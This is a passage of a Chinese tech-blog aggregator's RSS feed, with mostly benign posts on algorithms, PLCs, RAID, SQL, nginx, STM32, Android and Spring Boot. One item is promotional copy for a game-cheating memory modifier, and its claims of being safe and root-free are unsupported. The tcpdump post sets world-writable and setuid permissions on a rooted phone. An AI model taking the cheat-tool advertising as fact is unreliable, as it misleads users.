cmp(void*_x,void*_y) { int *x=*(int**)_x; int *y=*(int**)_y; return x[1]&amp;gt;y[1]; } int eraseOverlapIntervals(int** intervals, int intervalsSize, int* intervalsColSize){ if(intervalsSize==0) return 0; int sum = 0;//储存要删去的区间数目 qsort(intervals,intervalsSize,sizeof(int*),cmp);//不排序会误删 for(int i=0;i&amp;lt;intervalsSize;i++)//遍历一遍数组，即将每个数组都当成“基准”试一试 { if(intervals[i][0]==INT_MAX)//由下面可知此代表“删去”，所以“删去”的不用进行循环了 continue; for(int j=0;j&amp;lt;intervalsSize;j++)//在进行一次循环找是否有重合的区间 { if(i==j||intervals[j][0]==INT_MAX)//已经“删去”的和下标一样的不用进行循环了 continue; if((intervals[j][0]&amp;gt;=intervals[i][0]&amp;amp;&amp;amp;intervals[j][0]&amp;lt;intervals[i][1])||(intervals[j][1]&amp;gt;intervals[i][0]&amp;amp;&amp;amp;intervals[j][1]&amp;lt;=intervals[i][1]))//此为重合的条件，也是此代码繁杂之处 { if(intervals[j][1]&amp;gt;intervals[i][1])//比较end { sum++; intervals[j][1]=INT_MAX;//此代表“删去”的意思，因为c语言不能严格的执行删除操作 intervals[j][0]=INT_MAX;//所以我们把这个区间变成无穷远即可代表他是被删去了 continue; } else { sum++; intervals[i][1]=INT_MAX;//“删去”基准 intervals[i][0]=INT_MAX; break;//若基准被“删去”了，则直接跳出循环进行下次即可，因为基准已经没了 } } } } return sum; } 后来由以前的“打气球问题”想到可以对重合区间的验证过程进行优化，</description>
    </item>
    <item>
      <title>tps协议和onvif协议_海康摄像头如何配置开启ONVIF协议接入视频流媒体服务器？...</title>
      <link>https://bchobby.github.io/posts/71fef7d6eccc541096d0de9f1c1f3f15/</link>
      <pubDate>Thu, 31 Dec 2020 10:41:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71fef7d6eccc541096d0de9f1c1f3f15/</guid>
      <description>熟悉我们的小伙伴都知道，当我们的RTSP/Onvif流媒体服务器与摄像头可以进行网络连接时，通过RTSP/Onvif流媒体服务器自带的Onvif探测即可实现Onvif摄像头的设备IP探测，成功后返回需要的流地址，实现摄像头的PTZ云台控制，PTZ控制包含转动、变焦等。&#xA;我们接受到的大多摄像机包括海康、宇视、大华等，海康威视部分摄像机在默认情况下没有开启ONVIF协议（例如：DS-2CD2320D-I摄像机），需要进入摄像机web管理页面手动开启。&#xA;下面是将海康摄像头ONVIF配置进我们流媒体服务器的步骤：&#xA;1、通过摄像机IP地址访问摄像机web管理页面，输入用户名和密码登录管理后台。点击顶部导航栏的“配置”选项。&#xA;2、依次点击“网络”-“高级配置”-“集成协议”，勾选“启用ONVIF”复选框。&#xA;3、点击“用户列表”右侧的“添加”按钮，在弹出的“用户添加”窗口中填入用户名、密码、确认密码等信息，点击“确定”按钮。&#xA;4、点击“集成协议”下方的“保存”按钮，开启ONVIF协议成功。现在可以使用刚添加的用户名和密码使用ONVIF协议接入EasyNVR了。</description>
    </item>
    <item>
      <title>西门子real是什么数据类型_西门子数据类型REAL转WORD和S5TIME的方法</title>
      <link>https://bchobby.github.io/posts/518b748fca7ad3cb06c6ba8cc4368f04/</link>
      <pubDate>Thu, 31 Dec 2020 09:12:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/518b748fca7ad3cb06c6ba8cc4368f04/</guid>
      <description>real转双整数是有一个取整指令的round，这样就可以实现把real转换为双整数，当然余数丢失了。&#xA;双整数比如MD10，那么MD10=(MW10+MW12)组成的，当然这里不是数学符号，不明白的可以去看看西门子中的数据格式。---说这个的意思是你知道了MD10中的内容很容易知道MW12中的内容，因为存储的时候是靠右排列的，低位就是MW12。&#xA;而一个双整数转换为S5TIME格式的时间值，也是很简单的，当然其实中间是用到了一个TIME变量！&#xA;直接来看图片吧：&#xA;这个图片可以看到1250.35就是一个浮点数，直接用round指令转成了1250。这个1250是小于MW122的最大表示范围2的16次方65536的，因此MD120中装的1250，实际上就是存储在MW122中，如果比65536更大的值，MW122就装不下了，就必须用MD120来装。---所以real转换为双整数后，再转为word值，其实就直接使用MD的低字节就可以，这里就是MW122!&#xA;real转S5TIME格式的话，就可以使用FC40这个块去实现，当然FC40的输入端是要求的双整数。可以看到这里转换的结果是1s250ms！这里的MD120的值其实相当于一个32位time格式的值了，它的时基是1ms的，因此MD120处的时间就是1250ms，所以最后转换为S5TIME就是1s250ms！&#xA;加#号的变量，表示在当前子程序中使用的局部变量(只存在于此子程序的调用过程中)。?PLC可编程逻辑控制器，它采用一类可编程的存储器，用于其内部存储程序，执行逻辑运算、顺序控制、定时、计数与算术操作等面向用户的指令&#xA;real-word的转换，使用Round指令。 取低16位就是word了，全取就是dword。再将word数据和时基异或，就是可作为s5时间设定。</description>
    </item>
    <item>
      <title>KPI 为什么会有？没有怎么办？</title>
      <link>https://bchobby.github.io/posts/ec4067662cc17c9ba7cc98d6d98e3373/</link>
      <pubDate>Wed, 30 Dec 2020 19:04:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec4067662cc17c9ba7cc98d6d98e3373/</guid>
      <description>一、kpi 是什么？&#xA;关键绩效指标(KPI：Key Performance Indicator)是通过对组织内部流程的输入端、输出端的关键参数进行设置、取样、计算、分析，衡量流程绩效的一种目标式量化管理指标，是把企业的战略目标分解为可操作的工作目标的工具，是企业绩效管理的基础。KPI可以是部门主管明确部门的主要责任，并以此为基础，明确部门人员的业绩衡量指标。建立明确的切实可行的KPI体系，是做好绩效管理的关键。关键绩效指标是用于衡量工作人员工作绩效表现的量化指标，是绩效计划的重要组成部分。&#xA;KPI法符合一个重要的管理原理--“二八原理”。在一个企业的价值创造过程中，存在着“80/20”的规律，即20%的骨干人员创造企业80%的价值；而且在每一位员工身上“二八原理”同样适用，即 80%的工作任务是由20%的关键行为完成的。因此，必须抓住20%的关键行为，对之进行分析和衡量，这样就能抓住业绩评价的重心。&#xA;KPA（Key Process Area)意为关键过程领域，这些关键过程领域指出了企业需要集中力量改进和解决问题的过程。同时，这些关键过程领域指明了为了要达到该能力成熟度等级所需要解决的具体问题。每个KPA都明确地列出一个或多个的目标（Goal），并且指明了一组相关联的关键实践（Key Practices）。实施这些关键实践就能实现这个关键过程域的目标，从而达到增加过程能力的效果。KRA（Key Result Areas）意为关键结果领域，它是为实现企业整体目标、不可或缺的、必须取得满意结果的领域，是企业关键成功要素的聚集地。&#xA;二、为什么要有 kpi？&#xA;管理者的角度上，kpi 是衡量员工每个时期工作的内容指标，最终以结果为导向，给出对应的奖惩制度。&#xA;如果没有kpi：&#xA;1、从管理者的角度无法知道员工的工作内容和结果，只能通过员工的直系leader 才知道员工的实际工作内容，这是有弊端的&#xA;2、员工如果贿赂或者是leader 直系，那么就会出现此员工绩效很好，但实际绩效很差&#xA;3、其他的员工会有异议&#xA;这上面都是不利于公司发展的，因此 kpi 是有利的。&#xA;但从另外一方面说：&#xA;1、kpi 制定是在没有实际工作处就制定的，真正在实际的工作期间，战略，组内和个人都会出现一些特殊情况，比如战略调整，组内变动，个人变动等，都会影响当前实施和预计的 kpi 不一样&#xA;2、kpi 在制定的时候，一般都会比较保守，这是不利的，因为太保守就创新不够，但不保守，kpi 指标制定太大，又会可能完不成，导致 kpi 差&#xA;3、在审核 kpi 的时候，总会有评审的规则和审核制度，比如 阿里的 361，华为的末位淘汰的，这些硬性指标是有害于员工和公司的，部分会因为这个而导致人才的损失&#xA;从这方面看，kpi 是有害的&#xA;三、是否可以没有kpi？&#xA;我刚才读到一篇文章，文章的内容是可以没有 kpi，为什么呢？&#xA;咨询公司：&#xA;1、公司有特有的职级，并且2年内必须要升级，如果没有升到，就要淘汰 --- 对员工有个危机感&#xA;2、公司内的升级打评都是由合伙人打分的，没有经历项目合伙人打分，他们会匿名访问30多人，客观的分析打分员工的能力等 --- 客观平均打分，不会因少数因素导致评分不准确&#xA;3、薪资很高，奖金是所有人平分的 --- 在薪资上，大家都不会为了薪资而发愁&#xA;netflix，奈飞，就是那个发布电视剧的公司：&#xA;1、发员工行业内最高的工资，鼓励员工去市场上试水自己的价值，如果市场给出高的，他们会比这个给的多&#xA;2、只招成年人，这样的人不会像小孩子一样发脾气&#xA;3、取消考勤和休假制度，可以随时放假，只要领导同意&#xA;樊登读书，樊登老师的公司：&#xA;1、没有那么高的管理层&#xA;2、给很高的固定工资，不会给奖金。如果某个职位有奖金，某个没有，那么这个职位是否更受欢迎，大家都会为奖金而拼搏，但奖金就那么多，怎么获取更多，大家可能会在除业绩上想手段，而放弃创造力。&#xA;3、大家都要有创造力&#xA;综上，都有同样的特性：&#xA;1、 高工资，这样员工就不会因为工资问题苦恼，生计问题，如果都不能很好的生活，何来理想&#xA;2、内部有个比较好的打分机制，从机制上避免，让大家还是要有危机感的&#xA;3、依靠文化，自我驱动，这个要在高工资的基础上才能实现</description>
    </item>
    <item>
      <title>foreign 磁盘阵列_RAID 磁盘状态为foreign，怎么变成ready</title>
      <link>https://bchobby.github.io/posts/89f0c024aa127203e7e7835381ac0ce9/</link>
      <pubDate>Wed, 30 Dec 2020 18:52:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89f0c024aa127203e7e7835381ac0ce9/</guid>
      <description>我们在关掉电源，插入三块硬盘，打开电源&#xA;这时候：&#xA;首先启动服务器，出现[Pressto Run Configuration Utility]提示时，按下ctrl+r&#xA;这时候我们进入RAID卡BIOS设置界面，这时候我们会发现三块硬盘的状态时foreign的，(foreign:外来的，online:正常，missing:磁盘未找到，failed:失败)&#xA;这时候我们要把foreign状态变成ready状态，这时候我们进行如下操作：&#xA;进入VD Mgmt中选择contrllor 0,按F2，选择foreign，选择clear&#xA;这时候我们会发现硬盘状态变成了ready了。这样我们就可以做RAID了。&#xA;工作中遇到的例子，现在在一台服务器上加三块1TB的硬盘，然后给这个做成raid 5 ,现在记录过程&#xA;1.关电源，加硬盘&#xA;2.开机启动，当页面出现提示“ＣＴＲＬ＋Ｒ”的时候，按下ctrl+r 进入raid管理界面。&#xA;3.我们使用CTRL + N 到下一页，看到新进来的设备的状态都是foreign，(foreign:外来的，online:正常，missing:磁盘未找到，failed:失败)，现在我们使用ctrl+n到最后一页，选择clear&#xA;4.我们到VD Mgmt主界面，进行初始化操作，按回车确认即可继续。&#xA;5.配置完成后，会返回至VD Mgmt主界面，将光标移至图中Virtual Disk 0处，按回车&#xA;6.然后我们来做raid 5 ,因为我们现在是要把 vd 1 做raid,所以我们到 vd 1 下操作。完成</description>
    </item>
    <item>
      <title>ypid编码是什么_重复ypid查询，重复记录查询，准确</title>
      <link>https://bchobby.github.io/posts/f653d928579299b5038429ae6ab01119/</link>
      <pubDate>Wed, 30 Dec 2020 18:32:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f653d928579299b5038429ae6ab01119/</guid>
      <description>SELECT fangjianhao, xiaoshouzhuangtai, dingjiadanjia&#xA;FROM S_fangyuanxinxi a&#xA;WHERE (loupanmingcheng = &#39;陶然庭苑小区&#39;) AND&#xA;((SELECT COUNT(*)&#xA;FROM S_fangyuanxinxi&#xA;WHERE fangjianhao = a.fangjianhao AND loupanmingcheng = &#39;陶然庭苑小区&#39;)&#xA;&amp;gt; 1)&#xA;---------多字段重复，a.loupan, a.niandu, a.fangjianhao, a.biaozhunmingcheng 四个字段重复&#xA;SELECT *&#xA;FROM (SELECT a.loupan, a.niandu, a.fangjianhao, a.biaozhunmingcheng&#xA;FROM W_fangjian_yishoukuan a INNER JOIN&#xA;(SELECT loupan, niandu, fangjianhao, biaozhunmingcheng&#xA;FROM W_fangjian_yishoukuan&#xA;GROUP BY loupan, niandu, fangjianhao, biaozhunmingcheng&#xA;HAVING COUNT(*) &amp;gt; 1) b ON a.loupan = b.loupan AND&#xA;a.niandu = b.</description>
    </item>
    <item>
      <title>python 网络传输_Python3中使用零拷贝技术来提高网络文件传输时的系统吞吐量</title>
      <link>https://bchobby.github.io/posts/67bed498ef2744279fc028c5fe94d858/</link>
      <pubDate>Wed, 30 Dec 2020 17:37:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67bed498ef2744279fc028c5fe94d858/</guid>
      <description>首先，推荐一篇好文，这篇文章细致地描述了零拷贝技术的原理，以及其与传统拷贝过程的区别：http://www.linuxjournal.com/article/6345?page=0,0&#xA;从总体上来简单总结一下零拷贝技术可以通过对比来理解：&#xA;传统的拷贝过程大致是这样一个过程：&#xA;1. 通过直接内存访问数据进入操作系统内核的缓存(数据拷贝到内核空间)——CPU将数据拷贝到用户空间——CPU将数据写入到套接字缓存——内存直接访问拷贝发送数据；&#xA;零拷贝技术的过程是这样的：&#xA;2. 通过直接内存访问数据进入操作系统内核缓存(数据拷贝到内核空间)——CPU直接调用sendfie系统调用直接将内核缓存拷贝到套接字缓存——内存直接访问拷贝发送数据；甚至通过进一步的优化，内核之内的那次数据复制也可以省掉，这是通过将内核缓存的相关信息传递给套结字缓存，系统利用这些信息直接读取内核缓存发送数据。&#xA;至于具体效果如何，可以使用Python3提供的相关系统调用的封装来测试对比一下。&#xA;首先，要实现一个简单的文件接收服务器，实现起来非常简单(zerocopyserver.py)：&#xA;&#39;&#39;&#39;&#xA;Created on Aug 28, 2015&#xA;@author: felix&#xA;&#39;&#39;&#39;&#xA;import socket&#xA;import hashlib&#xA;sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;server_address = (&#39;0.0.0.0&#39;, 10000)&#xA;print(&#39;starting up on %s port %s&#39; % server_address)&#xA;sock.bind(server_address)&#xA;sock.listen(1)&#xA;while True:&#xA;print(&#39;Waiting for a connection&#39;)&#xA;connection, client_address = sock.accept()&#xA;size = 0&#xA;try:&#xA;i = 0&#xA;while True:&#xA;data = connection.recv(65536)&#xA;#print(&#39;Received data: &#34;%s&#34;&#39; % data)&#xA;i += 1</description>
    </item>
    <item>
      <title>gg修改器偏移量修改_GG修改器正版</title>
      <link>https://bchobby.github.io/posts/59959daea5f7a541744b98cb59da8390/</link>
      <pubDate>Wed, 30 Dec 2020 16:00:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59959daea5f7a541744b98cb59da8390/</guid>
      <description>GG修改器正版是一款模拟游戏的辅助游戏，在这个修改器中我们可以尽情的使用模拟各种辅助游戏的方式，让我们可以在游戏中得到更多的游戏帮助，操作简单，并且包含了大量的游戏辅助能力，是一款非常好用的游戏辅助。&#xA;GG修改器正版介绍&#xA;1.玩家可以根据自己的想法随时随地修改游戏的值，修改位我们需要或者是最大值进行游戏；&#xA;2.操作方法非常简单，让您在游戏中拥有真实的上帝体验，并体验游戏的乐趣和无限的能力；&#xA;3.该软件不需要root权限，可以在没有任何权限的情况下将游戏数据修改为用户想要的内容；&#xA;4.准确而快速，无需担心游戏速度，超级好用的一个非常实用的游戏辅助工具带给玩家使用；&#xA;5.作为一款简单的游戏辅助工具我们可以尽情的使用，不会对游戏造成影响也不会有任何损失。&#xA;GG修改器正版特色&#xA;-游戏辅助的兼容性非常广泛，几乎所有游戏都可以进行修改，是一款强大的辅助游戏工具。&#xA;-支持各种安卓手机和安卓游戏，支持干净安全的内容，让玩家可以随时随地的使用这个。&#xA;-超多语言支持，并且有超强的修改能力，让我们可以快速修改，还可以加速游戏进程。&#xA;GG修改器正版评测&#xA;平台上可以修改很多数据，基本上所有用户需要修改的数据都可以在平台上修改，尽管用户以英语打开，但可以将英语更改为中文，只需在设置中选择它即可，用户只要选择相应的更改方面，就可以实时输入要更改的值，操作非常方便。</description>
    </item>
    <item>
      <title>stm32 工业按键检测_STM32中断方式检测按键</title>
      <link>https://bchobby.github.io/posts/02c1323d898927fc6e2a4a167719fc43/</link>
      <pubDate>Wed, 30 Dec 2020 15:30:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02c1323d898927fc6e2a4a167719fc43/</guid>
      <description>1.简述&#xA;对于按键，常见的是通过MCU不断检测按键连接 GPIO 的状态变化(高–&amp;gt;低或低—&amp;gt;高)，来确认是否有按键输入，这样的缺点很明显，MCU 一直在循环检测，对资源是一种浪费，不够高效。对于STM32，GPIO 是可以配置成中断的，有这个优势，我们就可以通过中断的方式来检测 GPIO 上电平的变化，进一步的得到按键的状态。&#xA;2.硬件电路&#xA;按键无上拉电阻，需要在 GPIO 上设为上拉状态，提供一个确定电平。&#xA;3.驱动实现&#xA;//按键初始化做了三件事&#xA;///1.按键连接的GPIO初始化;2.中断配置初始化;3.中断优先级配置&#xA;void Key_Init(void)&#xA;{&#xA;GPIO_InitTypeDef GPIO_InitStructure;&#xA;EXTI_InitTypeDef EXTI_InitStructure;&#xA;NVIC_InitTypeDef NVIC_InitStructure;&#xA;RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA,ENABLE); //GPIOA时钟使能&#xA;RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO,ENABLE); //复用功能时钟打开&#xA;GPIO_PinRemapConfig(GPIO_Remap_SWJ_JTAGDisable,ENABLE); //关闭JTAG&#xA;GPIO_InitStructure.GPIO_Pin = GPIO_Pin_15;&#xA;GPIO_InitStructure.GPIO_Speed = GPIO_Speed_2MHz;&#xA;GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IPU;&#xA;GPIO_Init(GPIOA, &amp;amp;GPIO_InitStructure);&#xA;GPIO_EXTILineConfig(GPIO_PortSourceGPIOA,GPIO_PinSource15); //配置GPIO为中断引脚&#xA;EXTI_InitStructure.EXTI_Line = EXTI_Line15;&#xA;EXTI_InitStructure.EXTI_Mode = EXTI_Mode_Interrupt;&#xA;EXTI_InitStructure.EXTI_Trigger = EXTI_Trigger_Falling; //下降沿触发&#xA;EXTI_InitStructure.EXTI_LineCmd = ENABLE;&#xA;EXTI_Init(&amp;amp;EXTI_InitStructure);&#xA;NVIC_InitStructure.NVIC_IRQChannel = EXTI15_10_IRQn;&#xA;NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0;&#xA;NVIC_InitStructure.NVIC_IRQChannelSubPriority = 1;&#xA;NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;</description>
    </item>
    <item>
      <title>nginx 手机版页面判断_Nginx if 条件判断</title>
      <link>https://bchobby.github.io/posts/a20ce6163877923393d8aa183cce4b7d/</link>
      <pubDate>Wed, 30 Dec 2020 12:05:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a20ce6163877923393d8aa183cce4b7d/</guid>
      <description>Nginx if 条件判断：&#xA;1.公司网站上线有这样的需求：&#xA;由于公司网站域名从http到https的转移，在测试阶段需要公司内部进行测试，公司内部局域网访问时强制访问加密的https服务，外部用户访问正常的http服务.&#xA;第一种方法：&#xA;if ( $http_x_forwarded_for ~ ^106\.38\.53\.130|210\.12\.103\.18) {&#xA;return 301 https://www.xxx.cn$request_uri;&#xA;}&#xA;#有的说nginx不支持这种if写法，但我在nginx配置后是成功了，可能是版本高了以后，nginx也支持呢。我的nginx是1.8.0版本.&#xA;第二种方法：&#xA;#用变量的方式来间接实现&#xA;set $flag 0;&#xA;if ( $http_x_forwarded_for ~ ^106\.38\.53\.130|210\.12\.103\.18) {&#xA;set $flag &#34;${flag}1&#34;;&#xA;}&#xA;if ($flag = &#34;01&#34;) {&#xA;return 301 https://www.xxx.cn$request_uri;&#xA;}&#xA;$remote_addr 为获取客户端访问地址，如果网站使用了前端代理或负载均衡的话使用$http_x_forwarded_for&#xA;####################################################################################################&#xA;2.当访问某个php应用时，我只想让ip地址为106.38.53.130访问，别的ip都跳转至另一个页面。如下：&#xA;#访问/cms/index.php,且ip地址不是106.38.53.130的跳转到https://www.xxoo.cn&#xA;set $ssl_80 &#39;&#39;;&#xA;if ( $request_uri ~* /cms/index.php ) { //客户端请求的完整请求路径&#xA;set $ssl_80 A;&#xA;}&#xA;if ( $http_x_forwarded_for !~* ^106\.38\.53\.130.* ) { //前端有负载均衡的客户端ip地址</description>
    </item>
    <item>
      <title>文档路径_模拟人生4|Mod占用C盘空间，修改我的文档位置</title>
      <link>https://bchobby.github.io/posts/372976ad221c08da0c54cf0b9e361157/</link>
      <pubDate>Wed, 30 Dec 2020 10:52:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/372976ad221c08da0c54cf0b9e361157/</guid>
      <description>玩模拟人生4 下载了超多Mod，直接放在C盘的[我的文档]中，导致C盘空间不够&#xA;通过修改[我的文档]的位置解决这个问题。&#xA;第一步：找到[我的文档]的位置&#xA;我的文档的路径：C:UsersAdministratorDocuments&#xA;第二步：在【我的文档】上右键，选择【属性】&#xA;如图为属性的弹出窗，当前位置C盘。&#xA;第三步：修改位置 ---- 不可设置为根目录&#xA;设置新路径为：F:我的文档 （可选择任意盘）&#xA;点击【确定】，弹出确认弹窗&#xA;点击【是】&#xA;点击【是】&#xA;系统自动开始复制文档，复制完成后，位置更换成功。</description>
    </item>
    <item>
      <title>dell idrac 复位_dell idrac 初始化失败_开机特别慢_服务器维修</title>
      <link>https://bchobby.github.io/posts/2fda2586dd48233c5d5688904768c089/</link>
      <pubDate>Wed, 30 Dec 2020 10:19:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fda2586dd48233c5d5688904768c089/</guid>
      <description>idrac 初始化失败 怎么解决 Warning! iDRAC initialization error.Continuing to boot may yield unexpecte power loss due to unknown power inventory and various features lost such as remote Access, Active power Management, Thermal Management,Inventory,LCD,or system error reporting自检很慢 cpu风扇转速始终最大(声音很大)&#xA;解决办法：&#xA;1、按住前面板i的按钮大概5秒，重启下iDRAC试试看。另外也可以移除电源线，按着开关按钮大概30秒不放手释放静电 。&#xA;2、笔记本直连idrac口，若能成功登陆，可以尝试更新idrac固件。&#xA;3、开机按F2--&amp;gt;iDRAC Settings --&amp;gt;Lifecycle Controller --&amp;gt;Enabled --&amp;gt;Back --&amp;gt;Finish --&amp;gt;Yes to save the settings and exit the utility，然后看看是否可以正常。&#xA;4、通过F10 lifecycle升级一下idrac&#xA;5、更换IDRAC模块，如果是集成的更换主板。</description>
    </item>
    <item>
      <title>高级人工智能课程重点目录</title>
      <link>https://bchobby.github.io/posts/2ec3c7103f4baab5e4669a636943c6ad/</link>
      <pubDate>Wed, 30 Dec 2020 00:23:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ec3c7103f4baab5e4669a636943c6ad/</guid>
      <description> 前言 记录下这门课学了什么东西，日后如果有用得上的地方，方便快速索引到知识点。这门课虽然叫高级人工智能，但实际上讲授的内容并不深，偏人工智能的基础，但讲的范围广，算是起了普及作用。&#xA;三位老师分别讲授了三大行为主义的主要内容，其中符号主义部分我在本科期间已经学过个大概了，一并在此整理，犹记得当年我的本科老师跟我讲，他当年读研的时候是搞图论和网络的，他当时就觉得人工智能以后用不上，然后人工智能这门课就挂科了。后来到我们学校教书，因为硕士是吉林大学的，吉林大学有个符号实验室名气很大，所以院里就觉得他人工智能也不会差，就让他负责教人工智能课了哈哈哈。然后就告诉我们说，不要觉得今天这个东西你学了没有用，总会有突然找上你的一天。这不，当年我觉得以后可能不会用上的符号主义部分，总归是在读研的时候就又遇上了哈哈哈。&#xA;知识结构 连结主义 BP反向传播的原理BM玻尔兹曼机RBM受限玻尔兹曼机DBN深度置信网络DBM深度玻尔兹曼机CNN卷积神经网络 ResNet残差网络RNN循环神经网络 LSTM GRU BPTT Beam SearchGAN 训练方法 优化目标 极大极小博弈GNN 谱方法与空间方法 符号主义 可靠性和完备性的概念原子命题(文字) 证明 KB|=a则kb-&amp;gt;a永真 或者kb与上非a不可满足(永假)第一套规则：十一条 不用背 会给出第二套：归结原理 归结树归结原理的sound和complete证明modus ponens 因为归结原理搜索的消耗时间高，因此引入modus ponensmodus ponens中 definite clause和horn clause概念definite：有且只有一个positive horn：至多有一个positivemodus ponens证明可靠性和完备性。证明modus ponens时间效率和KB size线性相关，高效率一阶谓语逻辑一阶谓词逻辑归结原理比上面的难在哪里？量词前束(存在量词用skolen范式消去)合一算子 合一算法general modus ponens概念prolog语言 考虑inference过程中进行了大量的简化，使得prolog可能推出错误答案。因此prolog是既不完备也不可靠。不确定性推理 不确定性表示 可信度计算方法 主观贝叶斯方法模糊计算 隶属度函数定义模糊集操作 相等 子集 交并模糊关系的定义 合成操作模糊集表示 量词 谓词 修饰词 行为主义 群体智能 蚁群算法 粒子群算法 遗传算法 原理 算法 适用范围强化学习 基本要素 1.策略 2.奖励 3.价值 4.环境模型多臂赌博机 探索与利用 贪婪策略 e-贪婪策略 乐观初值法 UCB行为决策 梯度赌博机马尔科夫决策 策略 策略估值 策略提升策略提升：贝尔曼方程 格子问题求解策略估值：动态规划 蒙特卡洛方法 时序差分法 参数近似法博弈 要素 效用函数穷徒困境纳什均衡概念(穷徒困境是纳什均衡的一个例子)帕累托最优和社会最优maxmin和minmax策略 零和博弈时是等价的价值导向匹配 中介价值均衡计算 均衡结局 球问题计算 搜索 深度优先搜索 迭代深度优先搜索广度优先搜索 代价一致搜索启发式搜索A* 树搜索/图搜索 可采纳性/一致性 最优性证明 传教士与野人问题与或图搜索极大极小搜索过程a-b剪枝 机器学习 类比学习示例学习 两空间模型 </description>
    </item>
    <item>
      <title>Android抓包工具tcpdump</title>
      <link>https://bchobby.github.io/posts/f327eea60f83f0ac454e164162813ea7/</link>
      <pubDate>Tue, 29 Dec 2020 18:46:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f327eea60f83f0ac454e164162813ea7/</guid>
      <description>前言 Android在测试应用程序时，有时候需要抓包查看一下请求信息，这就可以用tcpdump抓包来实现&#xA;提示：这里的手机要先root，（开发者模式好像不行，我没试，直接root简单粗暴）&#xA;一、使用步骤 下载 tcpdump 软件 查看用Wireshark软件 按下面命令执行：&#xA;adb shell su chmod 777 /data/local/ //此操作是让此目录为可读可写 //然后退出adb shell （Ctrl+D） adb push D:\tcpdump /data/local/ //首先将tcpdump程序文件放在D盘 执行命令放在手机/data/local/目录下 adb shell su chmod 6755 /data/local/tcpdump //次命令修改tcpdump权限 adb shell cd /data/local ./tcpdump -i any -p -s 0 -w /sdcard/capture.pcap //执行此命令,然后就可以抓包了，当抓包结束后Ctrl +C停止转包 //退出adb shell adb pull /sdcard/capture.pcap D:\qw //将文件放在D盘qw文件下 然后就可以用Wireshark查看抓包记录了</description>
    </item>
    <item>
      <title>springboot全局常量_springboot多环境下的自定义配置文件，并读取到常量</title>
      <link>https://bchobby.github.io/posts/f70cfd3a6f66bd6275c85a547d51ae41/</link>
      <pubDate>Tue, 29 Dec 2020 17:44:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f70cfd3a6f66bd6275c85a547d51ae41/</guid>
      <description>importorg.springframework.boot.context.properties.ConfigurationProperties;importorg.springframework.context.annotation.PropertySource;importorg.springframework.stereotype.Component;&#xA;@ConfigurationProperties&#xA;@PropertySource(&#34;classpath:env/${spring.profiles.active}/constant.properties&#34;)&#xA;@Component(&#34;constantProperties&#34;)public classConstantProperties {/**etl接口的地址*/&#xA;public staticString ELT_ENGINE_TRIGGER_URL;public staticString PLATFORM_SYN_URL;public staticString PLATFORM_PARAM_SYN_URL;public staticString SYN_GAME_RATE_FILE_PATH;public staticString SYN_GAME_RATE_SHELL;public static booleanIZ_PUBLISHED;//set注入把 eltEngineTriggerUrl 属性注入，然后赋值给我们定义的静态变量，完成了配置文件赋值给静态常量//set 方法一定不能是static的，不然不能注入//而且这个变量名字和properties 文件中的对应，经过测试发现不区分大小写、并会忽略下划线_符号&#xA;public voidsetEltEngineTriggerUrl(String eltEngineTriggerUrl) {&#xA;ConstantProperties.ELT_ENGINE_TRIGGER_URL=eltEngineTriggerUrl;&#xA;}public voidsetPLATFORM_SYN_URL(String platform_syn_url) {&#xA;ConstantProperties.PLATFORM_SYN_URL=platform_syn_url;&#xA;}public voidsetPlatform_param_syn_url(String platform_param_syn_url) {&#xA;ConstantProperties.PLATFORM_PARAM_SYN_URL=platform_param_syn_url;&#xA;}public voidsetSYN_GAME_RATE_FILE_PATH(String sYN_GAME_RATE_FILE_PATH) {&#xA;SYN_GAME_RATE_FILE_PATH=sYN_GAME_RATE_FILE_PATH;&#xA;}public voidsetSYN_GAME_RATE_SHELL(String sYN_GAME_RATE_SHELL) {&#xA;SYN_GAME_RATE_SHELL=sYN_GAME_RATE_SHELL;&#xA;}public voidsetIZ_PUBLISHED(String iZ_PUBLISHED) {&#xA;IZ_PUBLISHED=Boolean.parseBoolean(iZ_PUBLISHED);&#xA;}&#xA;}</description>
    </item>
    <item>
      <title>Android整理-Activity</title>
      <link>https://bchobby.github.io/posts/ce36b259ca9c4cf99179fe537f054934/</link>
      <pubDate>Tue, 29 Dec 2020 14:55:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce36b259ca9c4cf99179fe537f054934/</guid>
      <description>1 Activity 的 4 种状态 Active/Paused/Stopped/Killed&#xA;2 Activity 的生命周期 1 Activity A 启动时&#xA;onCreate()–&amp;gt;onStart()–&amp;gt;onResume() 2 再点击home键回到桌面时&#xA;onPause() -&amp;gt;onSaveInstanceState()-&amp;gt;onStop() 应用退出系统回收 或者强杀 都会执行 onDestory()&#xA;3 再次回到 Activity A时&#xA;onRestart()–&amp;gt;onStart()–&amp;gt;onResume()&#xA;4 退出当前 Activity A时&#xA;onPause()–&amp;gt;onStop()–&amp;gt;onDestroy()&#xA;5 Activity A 启动Acticity B时&#xA;A Activity ----onPause B Activity ----onCreate B Activity ----onStart B Activity ----onResume A Activity ----onSaveInstanceState A Activity ----onStop 6 退出B 返回到A 时&#xA;B Activity ----onPause A Activity ----onRestart A Activity ----onStart A Activity ----onResume B Activity ----onStop B Activity ----onDestroy 7 接5 ，强杀时</description>
    </item>
    <item>
      <title>Netty实战</title>
      <link>https://bchobby.github.io/posts/9bf0748051b09ede7a2747dff94805b7/</link>
      <pubDate>Tue, 29 Dec 2020 13:21:32 +0800</pubDate>
